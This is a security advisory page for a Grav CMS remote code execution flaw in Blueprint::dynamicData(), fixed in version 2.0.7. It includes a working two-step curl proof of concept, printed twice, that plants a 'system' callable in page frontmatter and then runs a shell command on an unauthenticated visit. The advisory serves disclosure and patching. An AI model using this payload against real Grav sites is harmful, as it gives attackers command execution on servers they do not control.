GHSA-FJ2P-QJ2F-74V5

Vulnerability from github – Published: 2026-09-02 14:51 – Updated: 2026-09-02 14:51
VLAI
Summary
Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()
Details

Summary

An account with the admin.pages permission (or api.pages.write) can run shell commands on the server. The command executes whenever anyone — including an unauthenticated visitor — opens the page.

Details

Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php:426) passes a Class::method string and its arguments straight to call_user_func_array() with no allowlist. The form plugin runs page frontmatter through this path (form/classes/Form.php:432), so a page author controls the input. Grav\Common\Utils::arrayFilterRecursive($source,$fn) (system/src/Grav/Common/Utils.php:1169) is a public static that calls $fn($key,$value), so passing system as $fn and a command as the array key runs the command.

PoC

Placeholders: <BASE_URL> the site; <SESSION_COOKIE> an admin session cookie for an account with admin.pages; <ADMIN_NONCE> the admin-nonce on any admin page (window.GravAdmin.config.admin_nonce).

Save a "form" page whose field carries the callable directive:

curl '<BASE_URL>/admin/pages/rcepoc' \
  -H 'Cookie: <SESSION_COOKIE>' \
  --data-urlencode 'task=save' \
  --data-urlencode 'admin-nonce=<ADMIN_NONCE>' \
  --data-urlencode 'data[folder]=rcepoc' \
  --data-urlencode 'data[name]=form' \
  --data-urlencode 'data[title]=x' \
  --data-urlencode 'data[content]=hi' \
  --data-urlencode "data[frontmatter]=forms:
  x:
    fields:
      y:
        type: text
        data-opts@:
          - 'Grav\Common\Utils::arrayFilterRecursive'
          - { 'echo GRAV-RCE-OK; id': 'x' }
          - system"

Trigger it as an unauthenticated visitor:

curl '<BASE_URL>/rcepoc'

Success check: the GET response body begins with GRAV-RCE-OK followed by the web-server user's id output (a line starting uid=...) — the command ran during the unauthenticated request and its output is reflected in the response.

Impact

Shell command execution as the web-server user, triggered by any visit to the page, plantable by any holder of admin.pages or api.pages.write.

Trust boundary: crossed. admin.pages (or api.pages.write) grants page editing, not code execution; the holder plants the payload and the code runs at request time on any later view of the page.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-64850"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-02T14:51:18Z",
    "nvd_published_at": "2026-08-19T16:18:39Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nAn account with the `admin.pages` permission (or `api.pages.write`) can run shell\ncommands on the server. The command executes whenever anyone \u2014 including an\nunauthenticated visitor \u2014 opens the page.\n\n### Details\n`Blueprint::dynamicData()` (system/src/Grav/Common/Data/Blueprint.php:426) passes\na `Class::method` string and its arguments straight to `call_user_func_array()`\nwith no allowlist. The form plugin runs page frontmatter through this path\n(form/classes/Form.php:432), so a page author controls the input.\n`Grav\\Common\\Utils::arrayFilterRecursive($source,$fn)`\n(system/src/Grav/Common/Utils.php:1169) is a public static that calls\n`$fn($key,$value)`, so passing `system` as `$fn` and a command as the array key\nruns the command.\n\n### PoC\nPlaceholders: `\u003cBASE_URL\u003e` the site; `\u003cSESSION_COOKIE\u003e` an admin session cookie\nfor an account with `admin.pages`; `\u003cADMIN_NONCE\u003e` the `admin-nonce` on any admin\npage (`window.GravAdmin.config.admin_nonce`).\n\nSave a \"form\" page whose field carries the callable directive:\n\n    curl \u0027\u003cBASE_URL\u003e/admin/pages/rcepoc\u0027 \\\n      -H \u0027Cookie: \u003cSESSION_COOKIE\u003e\u0027 \\\n      --data-urlencode \u0027task=save\u0027 \\\n      --data-urlencode \u0027admin-nonce=\u003cADMIN_NONCE\u003e\u0027 \\\n      --data-urlencode \u0027data[folder]=rcepoc\u0027 \\\n      --data-urlencode \u0027data[name]=form\u0027 \\\n      --data-urlencode \u0027data[title]=x\u0027 \\\n      --data-urlencode \u0027data[content]=hi\u0027 \\\n      --data-urlencode \"data[frontmatter]=forms:\n      x:\n        fields:\n          y:\n            type: text\n            data-opts@:\n              - \u0027Grav\\Common\\Utils::arrayFilterRecursive\u0027\n              - { \u0027echo GRAV-RCE-OK; id\u0027: \u0027x\u0027 }\n              - system\"\n\nTrigger it as an unauthenticated visitor:\n\n    curl \u0027\u003cBASE_URL\u003e/rcepoc\u0027\n\nSuccess check: the GET response body begins with `GRAV-RCE-OK` followed by the\nweb-server user\u0027s `id` output (a line starting `uid=...`) \u2014 the command ran\nduring the unauthenticated request and its output is reflected in the response.\n\n\n### Impact\nShell command execution as the web-server user, triggered by any visit to the\npage, plantable by any holder of `admin.pages` or `api.pages.write`.\n\nTrust boundary: crossed. `admin.pages` (or `api.pages.write`) grants page\nediting, not code execution; the holder plants the payload and the code runs at\nrequest time on any later view of the page.",
  "id": "GHSA-fj2p-qj2f-74v5",
  "modified": "2026-09-02T14:51:18Z",
  "published": "2026-09-02T14:51:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-fj2p-qj2f-74v5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-64850"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/acffa34cbb0787fee87c609e0d6289e904fee33c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/releases/tag/2.0.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.